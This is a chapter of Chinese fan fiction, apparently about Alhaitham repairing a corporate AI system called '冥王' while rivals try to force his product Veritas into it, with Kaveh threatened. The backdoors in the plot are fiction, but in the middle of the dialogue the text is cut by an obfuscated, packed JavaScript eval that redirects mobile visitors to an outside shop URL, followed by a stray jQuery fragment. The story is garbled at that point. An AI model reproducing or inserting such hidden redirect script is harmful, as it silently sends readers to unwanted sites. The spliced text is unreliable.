意外的是,艾尔海森申请进入冥王主控后台这件事非常顺利,顺利到克洛尔回来的时候脸上都带着些怀疑,将临时秘钥分享到艾尔海森邮箱的时候,还恶狠狠地警告了他一下尽快修复完滚蛋。
艾尔海森也不动气,连一个眼神都不屑给他。
进入冥王的主控后台,必须使用本地网络,虚拟机无法满足条件,他只好又开了大会议室的电脑,将冥王的数字拟态调出来,然后输入了临时秘钥,进入到了他在几个月前还十分熟悉的界面。
冥王的主控后台临时秘钥的64位设置方式都是艾尔海森主导的,他从来也没想到过有一天自己会用临时密钥来登录。
从日志文件里准确地找到了两个月前的API接口开放操作,艾尔海森目光才从65寸的智慧屏转向克洛尔,问问题的口气说是嘲讽都不意外。
“两个月前来的?”艾尔海森挑了个眉,“面试题目就是看看能不能在冥王后台里留下痕迹?”
从克洛尔抽动的嘴角中,艾尔海森知道自己猜对了。
冥王本身就有十分完备的自检系统,这是确保它能够正常运行的基础,一旦检测到任何不属于常规运行文件,第一个反应就是剔除,第二才是报警,妙用之处只有进入冥王主控后台才能留下痕迹,这对全球任何一个工程师来说都是一个不小的挑战。
博里亚斯并不会轻易给出主控后台的授权,就连公司里的临时授权都无法更改冥王的运行日志。
“小把戏而已,怎么,艾尔海森先生对于我这样的表现还满意么?”克洛尔拍在他肩头上的一瞬间,自己身上浓郁的香水味也传了出来,这让艾尔海森忍不住皱了皱眉。
“离我远点,你太臭了。”
“你别敬酒不吃吃罚酒!”
会议室里剑拔弩张,艾尔海森对于克洛尔刻意散发出来的强势气息并没什么特殊感觉,除了觉得这人会虚张声势之外没有任何实力。
“看来你很自豪,对于可以在冥王上动手脚。”
“当然,全世界工程师都对新奇的东西感兴趣。”
“可你还是个小偷,”艾尔海森淡淡地笑了笑,“连仿都仿不像,做了成百上千个接口有用吗,收集到你想要的信息了吗,还是说,收到的都是垃圾?”
克洛尔皱了皱眉,Veritas在仿制起来的确非常有难度,表面看来是的简单保护似乎只是虚晃一枪,而藏在里面的每一个接口背后都有非常强大的逻辑支撑,如果没有非常长时间的推演,一定不可能合成这样的产品,而这个做成的人,此刻就站在眼前。
似乎是感受到了一束嫉妒的目光,艾尔海森脸上淡淡的笑容没褪去,还加上了一些遗憾,“很可惜,天赋这个事情,你学不来。”
这句话无疑是对这个仿制天才巨大的打击,胸口的起伏程度已经出卖了他的真实情绪,连目光都凶狠了起来。
克洛尔重重把副控制器往桌上狠狠一放,指着艾尔海森的鼻子充满了警告,“修好它,不然我要你好看。”
接着他直接摔门走出了会议室。
门再次关上的时候,艾尔海森立刻从书包里拿出了自己的数字眼镜,设置了高保密码,这间会议室的玻璃面从昨天开始就是白色,没有人会知道他在里面是怎么“修”冥王的。
比起修冥王,他更想知道Veritas是怎么嵌入进去的。他之前在会议室上提出这个产品的目的就是嵌入冥王,尽可能吸收这个世界真实的数据,并根据冥王的预警提醒各种突发事件,他始终认为这对人类是一件好事,但很明显,公司并不想这样做。
“冥王,请将两个月前到今天的所有数据,通过昨天共享给你的本地站点导入到我的虚拟机里。”
“好的。艾尔海森先生。”
两个月的数据,在艾尔海森刻意开启的曲面加速后,几乎没用两分钟就导完了,他摸了摸自己的眼镜,这玩意还真是个很好的伪装借口。
在打造冥王的初期,艾尔海森就在主控后台给自己留了后门,条件就是只要拿到临时密钥,就能随意在冥王的后台里改动。两周前嵌入的仿制Veritas的接口在大批量报错,才会在圆圈和三角区域有特殊的红色警告。
除了他自己,没有人会知道,Veritas本身他也留了旋钮,只有旋钮拧到正确的度数,它的所有逻辑接口才会真正生效,这点,他没有和任何人说过,克洛尔更不可能知道。
怎么可能不报错,访问真实数据也是需要正确密钥的。
刚刚激克洛尔离开他也是故意的,如果一直有人站在身边看他做什么,反而无法展开手脚,他一走,事情反而变得轻松起来。
Veritas的接口量太大,当时博里亚斯发出了行政命令后便没有再让艾尔海森触碰电脑,这种超级计算的数据也无法随身携带,只好留在原来的电脑里,自己随身有的也只不过是一个demo,这让艾尔海森有些着急。
但他下一刻就想到了个办法,克洛尔不是仿制大师么,那仿制出来的东西应该也不会太差,他调用出来了那个蠕虫病毒,直接删除了那个迷惑他人的外壳,打开了熟悉的路径,并且真的调出了角度调整的功能。
看来这个仿制大师也不是完全都不会,至少抄得很全。
在旋钮即将扭到9度的时候,办公室的门被暴力破开了,一个瓦|斯|催|泪|弹使劲往会议室里喷,刺激的味道让艾尔海森呛得不行,眼结膜一被刺激,他眼睛就闭上了。
“艾尔海森,你这是犯罪!”
克洛尔的声音响了起来,艾尔海森的眼睛还是很难受,并没有完全睁开,却看到一个高大威猛的穿着防爆制服的男人直接把他拎了起来,并且要将他按在会议室的桌子上。
“你竟然敢私自篡改冥王的运行数据!”克洛尔近乎尖叫了起来,“你知不知道你自己在做什么!”
艾尔海森挣扎了几下,左右两条胳膊被两个安保人员架着,一点都使不出力,腿到处乱蹬也没有用,“放开我!!克洛尔,你不想修冥王了吗!!”
克洛尔被这么一问整个人也打了个激灵,随即就严肃回道:“少狡辩!明明你在篡改数据!”
“你什么都不懂。”艾尔海森轻蔑地笑了一下,声音不大,却还是给克洛尔不少侮辱。
两个人僵持不下的时候,博里亚斯和格罗文走进了会议室,艾尔海森和克洛尔都愣了愣。
“松手吧。”博里亚斯右手搭在左手手腕上,似乎在整理已经非常整齐的白色衬衫袖口。
安保人员得了总经理命令后就松了手,并且很识相地出了会议室。
“找到修冥王的办法了吗?”博里亚斯对着克洛尔抬了抬下巴。
“找到了,艾尔海森说他半小时内就修好。”
“艾尔海森,好久不见,”博里亚斯对着他露出了一个春风和煦的笑,“还是这么厉害,半小时就足够了?”
博里亚斯好像昨晚没见过艾尔海森一样,明明默许了克洛尔的肮脏行为,这会儿却在自己面前装高尚,他实在无法面对一个随时代面具的人。
“足够了。”
“要不是格罗文提醒我,”说到这里,博里亚斯对着格罗文也微微勾了勾嘴角,露出了一个矜贵的笑,“坐啊,老朋友,拘束什么呢。”
等格罗文坐下后,博里亚斯又接着说:“要不是格罗文,我也想不到有什么比你亲自将Veritas装进冥王这么好的办法了。”
艾尔海森瞪大了眼睛,呼吸都暂停了下来,看向格罗文的眼睛已经有了怒火,盯了几秒,这个火苗就熄灭了,狗改不了吃屎,是他自己没想明白。
当初对着总经理狗的人用对冥王的情谊来骗取自己的同情,的确像是格罗文干得出的事。
“格罗文!你不安安分分地当销售,来29层干什么!”克洛尔的位置以前是格罗文的,他当然有危机感。
博里亚斯这时候却乐意当老好人,对着克洛尔招了招手,不经意露出手腕上全球限量版的宝石腕表,“克洛尔,嘘,格罗文是与你共同奋战的伙伴,冷静点。”
于是艾尔海森对面就坐下了三个人,最靠近屏幕的是博里亚斯,接着是格罗文和克洛尔,博里亚斯一脸轻松看着屏幕,格罗文却始终低着头,只有克洛尔嚣张地看着艾尔海森。
“开始吧,”博里亚斯看了一眼表,“半小时。”
“为什么?”艾尔海森没有动手,却看向了博里亚斯,问出了在被遣到巴塞罗那之前就想问的问题,“既然你想把Veritas嵌在冥王上,为什么不让我来?而是去找这种垃圾?”
说罢,头还往克洛尔那边偏了偏。
博里亚斯抬了抬手,压制住了旁边隐而待发的克洛尔,不疾不徐地回答:“还有28分钟。”
艾尔海森并不急躁,“所以Veritas并没有销毁,现在在冥王上接着的就是我之前研发的版本?”
格罗文的头越来越低了,似乎想钻到桌子底下去,博里亚斯拍了拍他的肩膀,“你的老朋友在问问题,你要不回答他一下?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177026|149045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在被拍的那一瞬间,格罗文整个人都不自禁地抖了一下。
“艾尔……艾尔海森……”格罗文话说得非常艰难,视线更是不敢对上他的。
“所以,”艾尔海森自嘲地笑了笑,“你们是解不开我在Veritas上的密钥,特意请我回来的,而不是修复什么bug,我说得对吧?”
“这么大费周章干什么呢,直接把我调回来不是更直接么?”
“让我继续研发Veritas产品,迭代到2.0甚至3.0不好么?”
“你们在怕什么?”
这句话说完,艾尔海森看向博里亚斯的眼神已经很淡定了。
“17分钟。”博里亚斯对艾尔海森始终无所回应。
“我不干了,”艾尔海森把主控制器往桌子上一扔,“我要离职。”
“艾尔海森……”格罗文的声音虚虚弱弱地响了起来,“我们签长期合同的时候,也签过一份十年竞业协议,离职、离职的话,至少有三年不能出公司总部,十年内不能在同行业里……了。”
“噢,所以这些就是你前两天悄悄来找我的原因?演得不错,格罗文。”
“13分钟,艾尔海森先生。”博里亚斯提示道,并且不耐烦地看了看表,对着克洛尔抬了抬头,“巴塞罗那那边怎么样了?”
“尽在掌握,先生。”
艾尔海森心里一惊,拳头不禁捏紧了。
“看来我们的天才前瞻信息发展顾问并不是没有弱点的,”克洛尔舔了舔嘴唇,眼睛里露出危险的精光,整张脸都变得有些扭曲,“在巴塞罗那挺放松的吧?昨天的那个金发男孩没触发你什么美好的回忆吗?”
——卡维。
——卡维!
“你们要做什么?”艾尔海森的声音沉了下去。
“也没什么,”克洛尔的笑里带了点疯,“就是你那可怜的流浪小画家,应该没地方住了,或者我可以给他点温暖,看看他愿不愿意跟我来波士顿?做我的实习生?你觉得怎么样?”
“克洛尔,你别得寸进尺。”
“艾尔海森先生,我不得不提醒你,还有9分钟。”
“Veritas还不成熟,不能连上冥王,不然冥王也可能会损毁,”艾尔海森努力压制着情绪,让口吻尽量听起来只是陈述,并且不表露出任何对卡维的担忧,“我想你不愿意发生这种事。”
“可我怎么听克洛尔说,一旦Veritas安装上去了,就无法卸下来了?”
“这不是我的方式,你了解我,不会做这种贸然冲动的事情。”
“所以,你们中间有人在骗我?”博里亚斯笑了笑。
克洛尔突然紧张了起来,他立刻向博里亚斯解释,“老板,接上Veritas就这一个机会,请一定不要浪费他,我在外层加了吸盘完全是为了公司利益考虑。”
公司利益。艾尔海森似乎抓到了一个关键词。
“所以,要怎么办呢,”博里亚斯没再看克洛尔,而是对着艾尔海森,“毕竟你只有6分钟了。”
艾尔海森闭了闭眼睛,深呼吸了一下,再睁开的时候已经冷静下来了,“我的任务是修复冥王的bug,对吧?”
博里亚斯点了点头,“没错,需求邮件里是这么写的。”
“修复bug之后呢?”
“哪里来,回哪去,但你现在还有3分钟了。”
艾尔海森没有再犹豫,通过自己在冥王主控后台留下的后门,输入了三行非常简略的代码,代码量少得克洛尔都皱了皱眉,还没看清楚写的是什么命令,按下回车后,冥王的数字拟态上的数据倒流了起来,没过几秒,数据光束又缓缓流动了起来。
“Veritas不成熟,不能链接,如果修复冥王是我的任务,那我已经把它恢复到两个月前的状态了。”
艾尔海森看向了冥王悬在半空中的全息数字拟态投影说:“冥王,你好,我是艾尔海森。”
“你好,艾尔海森。”
没有“先生”,也没有“发光的红色区域”,物理意义上,冥王修复了。
但克洛尔的脸色绝对称不上好看,刚刚要发作,博里亚斯就开了口。
“克洛尔,看来你的吸盘还不够强大,下次努力。”说完这句话后,博里亚斯就往会议室门口走去,还留下了一句话,“记得给艾尔海森批复邮件,bug修复了,他可以回巴塞罗那了。”
艾尔海森握紧了已经被汗浸湿了的手,心里却松了一口气,还滋生出了一些期盼。